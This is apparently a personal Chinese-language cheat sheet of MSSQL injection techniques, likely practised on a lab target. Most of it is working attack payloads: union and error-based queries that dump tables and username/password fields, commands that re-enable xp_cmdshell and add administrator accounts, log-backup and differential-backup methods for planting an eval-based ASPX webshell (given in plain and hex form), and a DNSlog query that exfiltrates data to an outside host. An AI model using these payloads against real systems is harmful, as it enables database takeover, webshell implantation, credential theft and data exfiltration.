MSSQL注入
这里只记录相对于mysql的一些东西
判断是否为Mssql数据库
and exists(select * from sysobjects) --
权限:
sa权限:数据库操作,⽂件管理,命令执⾏,注册表读取等 system
db权限:⽂件管理,数据库操作等 users-adminstrators
public权限:数据库操作 guest-users
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否为public权限
调⽤数据库的代码:
<%set conn =server.createobject("adodb.connection") conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name" %>
联合查询:
id=-2 union all select 1,2,3,4..
1.@@version- 获取版本信息;
2.db_name() -数据库名字
3.user,system_user,current_user,user_name – 获取当前⽤户名
4.@@SERVERNAME – 获取有关服务器主机的信息。
爆表:
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4
爆列:
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,nul
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
字段:
new_list.asp?id=-2 union all select null,username, password ,null from manage
报错注入:
convert()函数: (原理:类型转换失败)
convert(int,@@version) - 获取版本信息
convert(int,db_name()) -数据库名字 convert(int,user) -当前⽤户名
convert(int,@@SERVERNAME)– 获取有关服务器主机的信息
CONVERT(int,(select top 1 table_name from information_schema.columns)) 表名
convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制的表名 as varchar))) 列名
convert(int,(select top 1 name 列名 from 表名)) 字段
盲注:
还是sqlmap吧。。。。。。
Sa权限
写webshell(有写权限即可)
常用句子嫌占地方就不放了
eg: exec master..xp_webshell "echo 一句话 > 物理路径"
检测语句是否执行 exec master..xp_webshell "ping -n 1/10 www.baidu.com" #
如果发现被禁用,可以启用:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
如果没有回显,在用报错盲注来读取写出的东西。
语句内的引号可以转义一下: ^
远控
bitsadmin //win 7/2008
powershell //win 7/2008
vbs
注意目录的歧义性
c:\users\public
无法查看物理路径,可以尝试指定位置或当前文件夹。
添加⽤户
防护软件不给连接
防⽕墙开启 (慎重关闭)
不给添加用户
net user 账号 密码 /add
net localgroup administators 账号 /add
net user 账号 /del
db_owner权限
log备份
;alter database (数据库名称) set RECOVERY FULL-- 数据库激活为还原模式
;drop table cmd--
;create table cmd (a image)--
;backup log (数据库名称) to disk = 'c:/1.bak' with init--
;insert into cmd (a) values ('<%@ Page Language="Jscript"%> %eval(Request.Item["hackdog"],"unsafe");%>')-- (容易返回不闭合)
;backup log (数据库名称) to disk = 'C:/Users/Administrator/Desktop/wwwroot/xf.aspx'--
差异备份
1⾸先完整备份⼀次(c:\ddd.bak为所备份未见) backup database 库名 to disk = 'c:\ddd.bak';--
2.创建表并插曲⼊数据 create table [dbo].[dtest] ([cmd] [image]); insert into dtest(cmd) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c285265717 56573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--
3.进⾏差异备份 backup database 库名 to disk='⽬标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上⾯0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c2852657175657374 2e4974656d5b226861636b646f67225d2c22756e7361666522293b253e
就是⼀句话⽊马的内容:<%@ Page Language="Jscript"%> <%eval(Request.Item["hackdog"],"unsafe");%>
**
DNSlog
mysql:
1' and if((select load_file(concat('\\',hex((select 212)),'xxxxx.ceye.io\abv'))),1,0) And '1'='1
其他的太多了...等理解深入了单独写一下